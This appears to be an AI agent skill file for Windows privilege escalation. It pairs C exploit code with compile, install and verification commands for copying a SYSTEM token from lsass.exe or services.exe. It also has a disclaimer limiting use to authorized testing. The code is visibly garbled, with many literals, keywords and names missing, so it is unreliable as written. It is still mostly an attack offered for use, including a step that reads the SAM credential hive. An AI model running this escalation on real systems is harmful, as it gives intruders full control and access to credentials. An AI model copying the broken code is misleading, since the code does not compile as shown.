| name | windows-token-escalation |
| description | Windows local privilege escalation using SeDebug + SeImpersonate token copying. Use this skill when the user is doing Windows penetration testing, security assessments, or privilege escalation research and needs to escalate from Administrator to SYSTEM by copying tokens from privileged processes like lsass.exe, services.exe, or svchost.exe. Trigger this when users mention Windows privilege escalation, token manipulation, SeDebug, SeImpersonate, or need to gain SYSTEM access. |
Windows Token Escalation: SeDebug + SeImpersonate
This skill helps you escalate privileges from Administrator to SYSTEM on Windows by exploiting the SeDebug and SeImpersonate privileges to copy tokens from high-privilege processes.
When to Use This Technique
Use this approach when:
- You have Administrator access but need SYSTEM privileges
- The target system has SeDebug and SeImpersonate privileges enabled
- You're conducting authorized penetration testing or security assessments
- You need to access protected resources requiring SYSTEM access
How It Works
The exploit leverages two critical Windows privileges:
- SeDebugPrivilege - Allows debugging and manipulating processes
- SeImpersonatePrivilege - Allows impersonating other users/processes
The technique:
- Find a process running as SYSTEM (like
lsass.exe)
- Open that process with
PROCESS_QUERY_INFORMATION
- Extract its primary token using
OpenProcessToken
- Duplicate the token with
DuplicateTokenEx
- Spawn a new process (like
cmd.exe) using the duplicated token
Target Processes
Common SYSTEM processes you can target:
lsass.exe - Local Security Authority Subsystem Service (most common)
services.exe - Service Control Manager
svchost.exe - Service Host (one of the first instances)
wininit.exe - Windows Initialization
csrss.exe - Client/Server Runtime Subsystem
Important: You cannot copy tokens from Protected processes (like those with PatchGuard protection).
The Exploit Code
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
HANDLE hSystemToken, hSystemProcess;
HANDLE dupSystemToken = ;
HANDLE hProcess, hThread;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
pid = ;
ZeroMemory(&si, (si));
si.cb = (si);
ZeroMemory(&pi, (pi));
(pid = FindTarget())
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
;
(!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
CloseHandle(hSystemProcess);
;
}
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, ,
SecurityImpersonation, TokenPrimary, &dupSystemToken);
CreateProcessAsUserA(dupSystemToken, ,
, , , TRUE, , , , &si, &pi);
CloseHandle(hSystemProcess);
CloseHandle(hSystemToken);
CloseHandle(dupSystemToken);
;
}
WINAPI {
(controlCode) {
SERVICE_CONTROL_SHUTDOWN:
SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
SetEvent(stopServiceEvent);
;
SERVICE_CONTROL_PAUSE:
SERVICE_CONTROL_CONTINUE:
SERVICE_CONTROL_INTERROGATE:
;
:
;
}
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
WINAPI {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = ;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = ;
serviceStatus.dwWaitHint = ;
serviceStatusHandle = RegisterServiceCtrlHandler(serviceName, ServiceControlHandler);
(serviceStatusHandle) {
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
stopServiceEvent = CreateEvent(, FALSE, FALSE, );
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
Exploit();
WaitForSingleObject(stopServiceEvent, );
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
CloseHandle(stopServiceEvent);
stopServiceEvent = ;
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
}
{
SC_HANDLE serviceControlManager = OpenSCManager(, , SC_MANAGER_CREATE_SERVICE);
(serviceControlManager) {
TCHAR path[_MAX_PATH + ];
(GetModuleFileName(, path, (path)/(path[])) > ) {
SC_HANDLE service = CreateService(serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
, , , , );
(service)
CloseServiceHandle(service);
}
CloseServiceHandle(serviceControlManager);
}
}
{
SC_HANDLE serviceControlManager = OpenSCManager(, , SC_MANAGER_CONNECT);
(serviceControlManager) {
SC_HANDLE service = OpenService(serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE);
(service) {
SERVICE_STATUS serviceStatus;
(QueryServiceStatus(service, &serviceStatus)) {
(serviceStatus.dwCurrentState == SERVICE_STOPPED)
DeleteService(service);
}
CloseServiceHandle(service);
}
CloseServiceHandle(serviceControlManager);
}
}
_tmain( argc, TCHAR* argv[]) {
(argc > && lstrcmpi(argv[], TEXT()) == ) {
InstallService();
}
(argc > && lstrcmpi(argv[], TEXT()) == ) {
UninstallService();
}
{
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ , }
};
StartServiceCtrlDispatcher(serviceTable);
}
;
}
Compilation and Usage
Compile the Exploit
cl /EHsc token_exploit.c advapi32.lib
x86_64-w64-mingw32-gcc -o token_exploit.exe token_exploit.c -ladvapi32
Install and Run as Service
# Install the service (run as Administrator)
token_exploit.exe install
# Start the service
net start TokenDanceSrv
# Check if cmd.exe spawned with SYSTEM privileges
# Look for a new cmd.exe process running as SYSTEM
# Uninstall when done
token_exploit.exe uninstall
Verification
To verify the exploit worked:
-
Check for new cmd.exe process - A new command prompt should appear
-
Verify SYSTEM access - In the spawned cmd, run:
whoami
Should return nt authority\system
-
Access protected resources - Try accessing:
dir C:\Windows\System32\config\SAM
Tools for Analysis
Process Hacker
Use Process Hacker to:
- View process tokens and privileges
- Identify which processes are running as SYSTEM
- Check which processes are Protected (cannot be token-copied)
PowerShell Commands
# Check current privileges
whoami /priv
# List SYSTEM processes
Get-Process | Where-Object {$_.Owner -eq "NT AUTHORITY\SYSTEM"}
# Check if SeDebug and SeImpersonate are enabled
whoami /priv | Select-String "SeDebugPrivilege,SeImpersonatePrivilege"
Safety and Legal Considerations
⚠️ IMPORTANT:
- Only use this technique on systems you own or have explicit authorization to test
- This is for educational and authorized penetration testing purposes only
- Unauthorized privilege escalation is illegal and unethical
- Document all testing activities and get proper authorization
Troubleshooting
Common Issues
-
"Access Denied" when opening process
- Ensure you're running as Administrator
- Check if the target process is Protected
-
lsass.exe not found or protected
- Try alternative targets:
services.exe, svchost.exe, wininit.exe
- On newer Windows versions, lsass may be protected by LSA Protection
-
Service won't start
- Check Windows Event Viewer for errors
- Ensure the binary path is correct
- Verify the service account has necessary permissions
-
Token duplication fails
- Verify SeDebug and SeImpersonate privileges are enabled
- Check if the process has the necessary access rights
Alternative Approaches
If this technique doesn't work:
- Try other privilege escalation methods (misconfigured services, unquoted service paths, etc.)
- Use existing tools like
mimikatz for token manipulation
- Consider kernel-level exploits if available and appropriate
References